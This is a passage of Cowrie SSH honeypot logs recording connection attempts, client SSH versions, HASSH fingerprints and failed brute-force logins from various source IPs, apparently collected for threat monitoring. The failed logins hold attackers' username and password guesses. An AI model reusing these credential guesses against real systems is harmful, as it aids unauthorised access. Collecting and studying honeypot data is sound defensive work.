-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:19.131526Z","src_ip":"159.65.30.211","session":"5b42eaa7a471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"software","password":"12345678","message":"login attempt [software/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:19.312934Z","src_ip":"159.65.30.211","session":"5b42eaa7a471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fangdaohong","password":"Fangdaohong123!","message":"login attempt [fangdaohong/Fangdaohong123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:19.484521Z","src_ip":"103.231.14.54","session":"69a89f4163e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:20.383698Z","src_ip":"159.65.30.211","session":"5b42eaa7a471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:20.716012Z","src_ip":"103.231.14.54","session":"69a89f4163e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":39509,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b26dbc6a3c8","protocol":"ssh","message":"New connection: 189.217.130.86:39509 (159.203.135.109:22) [session: 3b26dbc6a3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:31.299874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:31.304366Z","src_ip":"189.217.130.86","session":"3b26dbc6a3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:31.380656Z","src_ip":"189.217.130.86","session":"3b26dbc6a3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"site2030","password":"site20301234","message":"login attempt [site2030/site20301234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:31.718816Z","src_ip":"189.217.130.86","session":"3b26dbc6a3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:32.797719Z","src_ip":"189.217.130.86","session":"3b26dbc6a3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":57024,"dst_ip":"10.17.0.5","dst_port":22,"session":"943aa9480293","protocol":"ssh","message":"New connection: 172.187.200.190:57024 (10.17.0.5:22) [session: 943aa9480293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:16.444473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:16.448084Z","src_ip":"172.187.200.190","session":"943aa9480293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:16.532123Z","src_ip":"172.187.200.190","session":"943aa9480293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"voicemail","password":"1234567","message":"login attempt [voicemail/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:16.702201Z","src_ip":"172.187.200.190","session":"943aa9480293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:17.787803Z","src_ip":"172.187.200.190","session":"943aa9480293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":33002,"dst_ip":"10.17.0.5","dst_port":22,"session":"6684ced72862","protocol":"ssh","message":"New connection: 64.227.144.233:33002 (10.17.0.5:22) [session: 6684ced72862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:28.408510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:28.413013Z","src_ip":"64.227.144.233","session":"6684ced72862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:28.641982Z","src_ip":"64.227.144.233","session":"6684ced72862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"batman","password":"batman","message":"login attempt [batman/batman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:29.104544Z","src_ip":"64.227.144.233","session":"6684ced72862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:30.335433Z","src_ip":"64.227.144.233","session":"6684ced72862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":36642,"dst_ip":"159.203.135.109","dst_port":22,"session":"93f0193d71b7","protocol":"ssh","message":"New connection: 95.58.255.251:36642 (159.203.135.109:22) [session: 93f0193d71b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:30.852331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:30.856454Z","src_ip":"95.58.255.251","session":"93f0193d71b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:31.037155Z","src_ip":"95.58.255.251","session":"93f0193d71b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mgeweb","password":"123","message":"login attempt [mgeweb/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:31.795283Z","src_ip":"95.58.255.251","session":"93f0193d71b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:33:32.978532Z","src_ip":"95.58.255.251","session":"93f0193d71b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":47060,"dst_ip":"159.203.135.109","dst_port":22,"session":"84dd4227c1cf","protocol":"ssh","message":"New connection: 172.178.16.179:47060 (159.203.135.109:22) [session: 84dd4227c1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:04.530381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:04.635637Z","src_ip":"172.178.16.179","session":"84dd4227c1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:04.644715Z","src_ip":"172.178.16.179","session":"84dd4227c1cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wilson","password":"wilsonpass","message":"login attempt [wilson/wilsonpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:06.953435Z","src_ip":"172.178.16.179","session":"84dd4227c1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:07.987033Z","src_ip":"172.178.16.179","session":"84dd4227c1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":36464,"dst_ip":"159.203.135.109","dst_port":22,"session":"07057720e809","protocol":"ssh","message":"New connection: 103.231.14.54:36464 (159.203.135.109:22) [session: 07057720e809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:09.475672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:09.479966Z","src_ip":"103.231.14.54","session":"07057720e809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:09.703386Z","src_ip":"103.231.14.54","session":"07057720e809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andrepass","message":"login attempt [andre/andrepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:10.383383Z","src_ip":"103.231.14.54","session":"07057720e809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:11.613289Z","src_ip":"103.231.14.54","session":"07057720e809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45864,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1756d135411","protocol":"ssh","message":"New connection: 2.57.122.238:45864 (159.203.135.109:22) [session: d1756d135411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:16.587334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:16.592094Z","src_ip":"2.57.122.238","session":"d1756d135411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:16.695504Z","src_ip":"2.57.122.238","session":"d1756d135411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:17.006746Z","src_ip":"2.57.122.238","session":"d1756d135411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:18.112956Z","src_ip":"2.57.122.238","session":"d1756d135411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":56232,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4b1e592952b","protocol":"ssh","message":"New connection: 45.78.207.244:56232 (159.203.135.109:22) [session: d4b1e592952b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:20.975850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:34:21.372360Z","src_ip":"45.78.207.244","session":"d4b1e592952b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 